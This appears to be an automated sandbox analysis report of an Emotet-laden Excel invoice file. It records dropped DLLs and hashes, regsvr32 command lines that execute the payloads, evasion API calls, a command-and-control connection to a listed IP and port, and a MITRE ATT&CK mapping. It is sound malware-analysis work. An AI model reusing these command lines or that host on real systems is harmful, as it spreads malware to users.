Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF919B3B0 appears 148 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D27FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF7521628 appears 214 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D2BD70 appears 113 times

Source: C:\Windows\System32\regsvr32.exe

Process Stats: CPU usage > 98%

Source: RechnungsDetails.xls	Macro extractor: Sheet name: PKEKPPGEKKPGE
Source: RechnungsDetails.xls	Macro extractor: Sheet name: PKEKPPGEKKPGE

Source: F3DOS06hLF1rUq3s6XOB[1].dll.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F3DOS06hLF1rUq3s6XOB[1].dll.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F3DOS06hLF1rUq3s6XOB[1].dll.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F3DOS06hLF1rUq3s6XOB[1].dll.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F3DOS06hLF1rUq3s6XOB[1].dll.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F3DOS06hLF1rUq3s6XOB[1].dll.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: uxevr2.ocx.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: uxevr2.ocx.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: uxevr2.ocx.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: uxevr2.ocx.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: uxevr2.ocx.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: uxevr2.ocx.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll 67C21491D013E6DBE6E123530F6686010163E75EF3DF41CEEBF7601C78692434
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll 8975189B8CB95CA5DC8EDAE1AC48C816A065467355B5C8678C6D9C0323C8F13B
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll 38B418029CB9E717604336AC6B2AF141A8549EFA0B7DA970CBEE4E0FA199A056

Source: RechnungsDetails.xls	Virustotal: Detection: 42%
Source: RechnungsDetails.xls	ReversingLabs: Detection: 36%

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FIdWcB\GulPp.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\AQbqR\xhDhNsFFy.dll"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\IWNForDwCavadlTU\oACuhBcYqGjSrI.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FIdWcB\GulPp.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\IWNForDwCavadlTU\oACuhBcYqGjSrI.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\AQbqR\xhDhNsFFy.dll"	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\uxevr1.ocx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR6759.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLS@16/15@4/5

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: RechnungsDetails.xls	OLE indicator, Workbook stream: true
Source: RechnungsDetails.xls.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\System32\regsvr32.exe

Code function: 4_2_0000000180006F2C CloseHandle,Process32FirstW,CreateToolhelp32Snapshot,Process32NextW,

4_2_0000000180006F2C

Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: RechnungsDetails.xls

Initial sample: OLE indicators vbamacros = False

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000C892 push ebp; retf	3_2_000000018000C895
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D095 push B3B8007Eh; iretd	3_2_000000018000D09A
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D0F3 push ebp; iretd	3_2_000000018000D0F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180013551 push ebx; retf	3_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D15D push ebx; retn 0068h	3_2_000000018000D15E
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000CDA8 push ebp; iretd	3_2_000000018000CDA9
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000CE36 push 458B0086h; iretd	3_2_000000018000CE3B
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180013551 push ebx; retf	4_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000C892 push ebp; retf	5_2_000000018000C895
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000D095 push B3B8007Eh; iretd	5_2_000000018000D09A
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000D0F3 push ebp; iretd	5_2_000000018000D0F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180013551 push ebx; retf	5_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000D15D push ebx; retn 0068h	5_2_000000018000D15E
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000CDA8 push ebp; iretd	5_2_000000018000CDA9
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000CE36 push 458B0086h; iretd	5_2_000000018000CE3B
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000C892 push ebp; retf	9_2_000000018000C895
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000D095 push B3B8007Eh; iretd	9_2_000000018000D09A
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000D0F3 push ebp; iretd	9_2_000000018000D0F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180013551 push ebx; retf	9_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000D15D push ebx; retn 0068h	9_2_000000018000D15E
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000CDA8 push ebp; iretd	9_2_000000018000CDA9
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000CE36 push 458B0086h; iretd	9_2_000000018000CE3B
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180013551 push ebx; retf	10_2_0000000180013559

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D30CC0 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

3_2_000007FEF9D30CC0

Source: uxevr1.ocx.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x5c267
Source: LjSKxP[1].dll.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x5d0fb
Source: uxevr2.ocx.0.dr	Static PE information: real checksum: 0x0 should be: 0x667cb
Source: CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x5c267
Source: F3DOS06hLF1rUq3s6XOB[1].dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x667cb
Source: uxevr4.ocx.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x5d0fb

Source: C:\Windows\System32\regsvr32.exe

Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FIdWcB\GulPp.dll"

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\AQbqR\xhDhNsFFy.dll (copy)	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\IWNForDwCavadlTU\oACuhBcYqGjSrI.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\FIdWcB\GulPp.dll (copy)	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr4.ocx	Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\AQbqR\xhDhNsFFy.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\IWNForDwCavadlTU\oACuhBcYqGjSrI.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\FIdWcB\GulPp.dll (copy)	Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr4.ocx	Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr4.ocx	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\FIdWcB\GulPp.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\IWNForDwCavadlTU\oACuhBcYqGjSrI.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\AQbqR\xhDhNsFFy.dll:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe TID: 2252	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2844	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 412	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 956	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2868	Thread sleep time: -120000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_3-16410

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe	API coverage: 8.2 %
Source: C:\Windows\System32\regsvr32.exe	API coverage: 8.2 %

Source: C:\Windows\System32\regsvr32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose,		4_2_00000001800248B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose,		10_2_00000001800248B0

Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_3-16412
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_3-16517
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_5-14223
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: regsvr32.exe, 00000009.00000002.1055505564.000000000043A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D23280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

3_2_000007FEF9D23280

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D30215 _itow_s,_invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,_wcsftime_l,_invoke_watson_if_oneof,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_snwprintf_s,_invoke_watson_if_oneof,_invoke_watson_if_error,_invoke_watson_if_oneof,_invoke_watson_if_error,_unlock,GetFileType,WriteConsoleW,GetLastError,_invoke_watson_if_oneof,WriteFile,WriteFile,OutputDebugStringW,_itow_s,_invoke_watson_if_error,

3_2_000007FEF9D30215

Source: C:\Windows\System32\regsvr32.exe

3_2_000007FEF9D30CC0

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D23280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_000007FEF9D23280
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D2BE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_000007FEF9D2BE50
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF752F298 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_000007FEF752F298
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF7528670 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_000007FEF7528670
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000007FEF919BE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_000007FEF919BE50
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000007FEF9193280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_000007FEF9193280

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 173.82.82.196 8080

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FIdWcB\GulPp.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\IWNForDwCavadlTU\oACuhBcYqGjSrI.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\AQbqR\xhDhNsFFy.dll"	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,free,	5_2_000007FEF7534C0C
Source: C:\Windows\System32\regsvr32.exe	Code function: _getptd,GetLocaleInfoA,	5_2_000007FEF753383C
Source: C:\Windows\System32\regsvr32.exe	Code function: _getptd,EnumSystemLocalesA,GetUserDefaultLCID,GetLocaleInfoW,GetLocaleInfoW,GetACP,IsValidCodePage,IsValidLocale,GetLocaleInfoA,GetLocaleInfoA,_itow_s,	5_2_000007FEF7533EB8
Source: C:\Windows\System32\regsvr32.exe	Code function: EnumSystemLocalesA,	5_2_000007FEF7533E4C
Source: C:\Windows\System32\regsvr32.exe	Code function: EnumSystemLocalesA,	5_2_000007FEF7533DB4
Source: C:\Windows\System32\regsvr32.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoW,	5_2_000007FEF75339B4
Source: C:\Windows\System32\regsvr32.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoW,	5_2_000007FEF7533C84
Source: C:\Windows\System32\regsvr32.exe	Code function: GetLastError,free,free,GetLocaleInfoW,GetLocaleInfoW,free,GetLocaleInfoW,	5_2_000007FEF752F070
Source: C:\Windows\System32\regsvr32.exe	Code function: GetLocaleInfoW,	5_2_000007FEF7533924

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D28900 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

3_2_000007FEF9D28900

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D28860 HeapCreate,GetVersion,HeapSetInformation,

3_2_000007FEF9D28860

Stealing of Sensitive Information

Yara detected Emotet

Source: Yara match	File source: 3.2.regsvr32.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.3f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.2c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.160000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.3f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.1264915905.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1264216924.00000000003F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1346182348.0000000000160000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1056224873.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.926879685.00000000002C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1055136020.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1347157002.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1346169156.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1347032948.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Scripting	Path Interception	111 Process Injection	131 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	43 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	1 Virtualization/Sandbox Evasion	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	13 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	111 Process Injection	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	23 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Scripting	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
